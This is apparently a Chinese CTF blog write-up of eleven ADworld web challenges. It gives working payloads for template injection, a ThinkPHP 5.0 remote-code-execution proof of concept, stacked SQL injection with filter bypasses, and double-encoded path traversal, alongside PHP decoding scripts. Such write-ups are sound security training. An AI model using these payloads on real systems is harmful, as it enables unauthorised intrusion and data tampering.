ADworld web进阶区(一)

5年前

1.baby_web

根据题目描述,我们转到初始页面index.php,发现302跳转,审查元素,发现flag。

2.Training-WWW-Robots

根据题目,我们猜测robots.txt里有提示,看到flag文件,打开即可。

3.Web_python_template_injection

根据提示,我们知道这是template注入,用{{}}进行测试,发现被执行了

构造payload,{{ config.items() }}可以查看服务器的配置信息,由于对模块注入不熟,后面单独总结写。

4.php_rce

根据题目名称和网页think PHPV5.0版本,可以得知应该是复现该框架漏洞,直接百度该版本的漏洞。参考大佬博客https://www.cnblogs.com/backlion/p/10106676.html,利用poc index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls / 直接找flag

然后就打开目录index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

然后查看cat flag 即可 (后面有空写一篇漏洞分析)

5.web_php_include

文件包含想到伪协议读取,这里php://被过滤了,我们用data://找flag文件

然后打开文件即可

6.supersqli

联合注入常见sql语句show 什么的。。

show database;    show tables
desc:`  表名  `    查询表结构

例:强网杯-随便注(实际就是堆叠注入)
1‘ false  1“  true   说明单引号注入
发现有过滤
preg_match(“/select|update|delete|drop|insert|where|\./i”,$inject);
考虑堆叠注入
1′;show tables 查出表名

“1919810931114514”
“words”

1′;desc `words`#    查询表结构
array(6) {
  [0]=>
  string(2) “id”
  [1]=>
  string(7) “int(10)”

array(6) {
  [0]=>
  string(4) “data”
  [1]=>
  string(11) “varchar(20)”

1′;desc `1919810931114514`#    查询表结构
array(6) {
  [0]=>
  string(4) “flag”
  [1]=>
  string(12) “varchar(100)”

判断出有两个回显位置,把默认查询表改了
1′ or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);–+

然后用’ or 1=’1查询表里面所有内容,得到flag

知识点总结
堆叠注入

在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
Mysql语句

显示表的列的信息

    show columns from table_name
    desc table_name
    select * from information_schema.columns where table_schema=”” and table_name=””

更改表的名字

    RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,…]
    alter table table_name to new name

更改字段的名字

    alter table t_app change name app_name varchar(20) not null;

预编译处理方法
查看值,需要绕过select的限制,我们可以使用预编译的方式

-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);

prepare stmt from @sql;

EXECUTE stmt; #

这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1’;sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prEpare stmt from @sql;EXECUTE stmt;#

7.ics-06

来到页面哪里点的动就点哪里。发现只有报表中心能点动。然后发现id=,是数值型,尝试爆破

成功,然后打开页面即可得到flag

8.warmup

打开题目查看网页源代码发现

打开source.php

<?php<br>    highlight_file(__FILE__);<br>    class emmm<br>    {<br>        public static function checkFile(&$page)<br>        {<br>            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];<br>            if (! isset($page) || !is_string($page)) {<br>                echo "you can't see it";<br>                return false;<br>            }<br><br>            if (in_array($page, $whitelist)) {<br>                return true;<br>            }<br><br>            $_page = mb_substr(<br>                $page,<br>                0,<br>                mb_strpos($page . '?', '?')<br>            );<br>            if (in_array($_page, $whitelist)) {<br>                return true;<br>            }<br><br>            $_page = urldecode($page);<br>            $_page = mb_substr(<br>                $_page,<br>                0,<br>                mb_strpos($_page . '?', '?')<br>            );<br>            if (in_array($_page, $whitelist)) {<br>                return true;<br>            }<br>            echo "you can't see it";<br>            return false;<br>        }<br>    }<br><br>    if (! empty($_REQUEST['file'])<br>        && is_string($_REQUEST['file'])<br>        && emmm::checkFile($_REQUEST['file'])<br>    ) {<br>        include $_REQUEST['file'];<br>        exit;<br>    } else {<br>        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";<br>    }  <br>?>
审计代码:有两个白名单,在hint里知道 flag not here, and flag in ffffllllaaaagggg ,有截取?前字符串的函数,还有匹配函数,然后解url编码,应该有url二次编码,构造payload:?file=source.php%253F../../../../../../ffffllllaaaagggg找到flag。

9. NewsCenter

进入题目环境,猜测是注入,用’ or 1=1 # 判断,是单引号注入,然后判断列数

发现有三列,然后判断回显位置

发现两个回显位置,然后找表名(按理说先找库名,不过一般在当前库里),

猜测在secret_table里,查字段

找到flag,查询内容

10. NaNNaNNaNNaN-Batman

下载题目文件,文本打开,发现是js乱码,审计发现eval函数执行了(字符串),导致乱码,然后我们用alert函数让正常源代码显示出来,打开浏览器

再审计代码,用控制台执行关键代码获取flag,(懒得去凑key)

11. web2

根据题目环境需要逆向加密。审计代码,就一个加密函数,只需要写一个解密函数即可。费了半天劲写出来了

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){

    $_o=(base64_decode(strrev(str_rot13($str))));

    $_1="";
    for($_0=0;$_0<strlen($_o);$_0++)
    {
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_c;
        $_1[$_0]=$_;
    }
    $_2=strrev($_1);
    return ($_2);
}
echo(decode($miwen));

然后又得到flag,主要是对php不熟悉,以至于写了半天。然后我在网上找了篇不一样的解密脚本。https://blog.csdn.net/zsqad/article/details/103475027

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($miwen) {
$_ = base64_decode(strrev(str_rot13($miwen)));
$idx = strlen($_) - 1;
$_o = '';
while ($idx >= 0) {
$_c = $_[$idx];
$__ = ord($_c);
$_c = chr($__ - 1);
$_o = $_o . $_c;
$idx--;
}
return $_o;
}

echo decode($miwen);

12.